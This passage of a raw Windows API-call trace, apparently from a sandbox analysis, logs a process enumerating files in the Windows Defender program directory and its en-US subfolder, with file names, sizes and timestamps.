ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xcb6ecb1, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xcd5eb67, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.023.etl", cAlternateFileName="UNIVER~2.ETL")) returned 1 [0240.783] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.030.etl", cAlternateFileName="UNIVER~1.ETL")) returned 1 [0240.783] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749ce1ef, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x749ce1ef, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x94dd5302, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.030.etl", cAlternateFileName="UNIVER~1.ETL")) returned 0 [0240.783] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0240.784] GetProcessHeap () returned 0xc10000 [0240.784] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0240.784] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1 [0240.784] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 0 [0240.784] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0240.785] GetProcessHeap () returned 0xc10000 [0240.785] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0240.786] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8cc3a31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8cc3a31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0240.786] GetProcessHeap () returned 0xc10000 [0240.786] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0240.787] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8cc3a31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8cc3a31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0240.787] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8cc3a31, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8cc3a31, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.788] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e4b66c0, ftCreationTime.dwHighDateTime=0x1d5da2b, ftLastAccessTime.dwLowDateTime=0x2a9634c0, ftLastAccessTime.dwHighDateTime=0x1d58188, ftLastWriteTime.dwLowDateTime=0x2a9634c0, ftLastWriteTime.dwHighDateTime=0x1d58188, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="absolutetelnet.exe", cAlternateFileName="ABSOLU~1.EXE")) returned 1 [0240.788] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24b6, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="AmMonitoringInstall.mof", cAlternateFileName="")) returned 1 [0240.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="AMMonitoringProvider.dll", cAlternateFileName="")) returned 1 [0240.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x520c, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="AmStatusInstall.mof", cAlternateFileName="")) returned 1 [0240.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ClientWMIInstall.mof", cAlternateFileName="")) returned 1 [0240.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b1a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ConfigSecurityPolicy.exe", cAlternateFileName="")) returned 1 [0240.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36fa0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="DataLayer.dll", cAlternateFileName="")) returned 1 [0240.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a8150d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a8150d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a8150d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x171cc0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="DbgHelp.dll", cAlternateFileName="")) returned 1 [0240.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26af3c42, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13da0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="DefenderCSP.dll", cAlternateFileName="")) returned 1 [0240.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="Defendericon.png", cAlternateFileName="")) returned 1 [0240.789] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0240.789] GetProcessHeap () returned 0xc10000 [0240.789] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0240.790] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0240.792] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fdc6ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.792] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcd996200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll.mui", cAlternateFileName="")) returned 1 [0240.792] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0240.792] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe0ac3200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpEvMsg.dll.mui", cAlternateFileName="")) returned 1 [0240.792] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpRes.dll.mui", cAlternateFileName="")) returned 1 [0240.793] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsMpResL.dll.mui", cAlternateFileName="")) returned 1 [0240.793] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfflineScannerShell.exe.mui", cAlternateFileName="")) returned 1 [0240.793] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll.mui", cAlternateFileName="")) returned 1 [0240.793] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x9063ce53, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x13c34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.mfl", cAlternateFileName="")) returned 1 [0240.793] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea3c949, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xc321b00, ftLastWriteTime.dwHighDateTime=0x1d29fab, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement_Uninstall.mfl", cAlternateFileName="")) returned 1 [0240.793] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 1 [0240.793] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="shellext.dll.mui", cAlternateFileName="")) returned 0 [0240.793] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0240.795] GetProcessHeap () returned 0xc10000 [0240.795] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0240.795] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0240.795] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="FepUnregister.mof", cAlternateFileName="")) returned 1 [0240.795] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f9baad, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x173a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0240.795] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x70b0173c, ftLastAccessTime.dwHighDateTime=0x1d2fa08, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b1fa0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpAzSubmit.dll", cAlternateFileName="")) returned 1 [0240.795] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ca0b8b, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xe9da0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpClient.dll", cAlternateFileName="")) returned 1 [0240.795] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6f2939c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x6af10, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpCmdRun.exe", cAlternateFileName="")) returned 1 [0240.795] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x874d15c, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x53fa0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpCommu.dll", cAlternateFileName="")) returned 1 [0240.795] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1dba0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpEvMsg.dll", cAlternateFileName="")) returned 1 [0240.796] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x880bd29, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x1d5a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpOAV.dll", cAlternateFileName="")) returned 1 [0240.796] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acd9d7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26acd9d7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26acd9d7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cda0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpProvider.dll", cAlternateFileName="")) returned 1 [0240.796] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6507363, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xac7a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpRtp.dll", cAlternateFileName="")) returned 1 [0240.796] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5152ad10, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x842bfe5, ftLastAccessTime.dwHighDateTime=0x1d2fa0b, ftLastWriteTime.dwLowDateTime=0x5152ad10, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x2099a0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="MpSvc.dll", cAlternateFileName="")) returned 1 [0240.796] FindNextFileW (in: 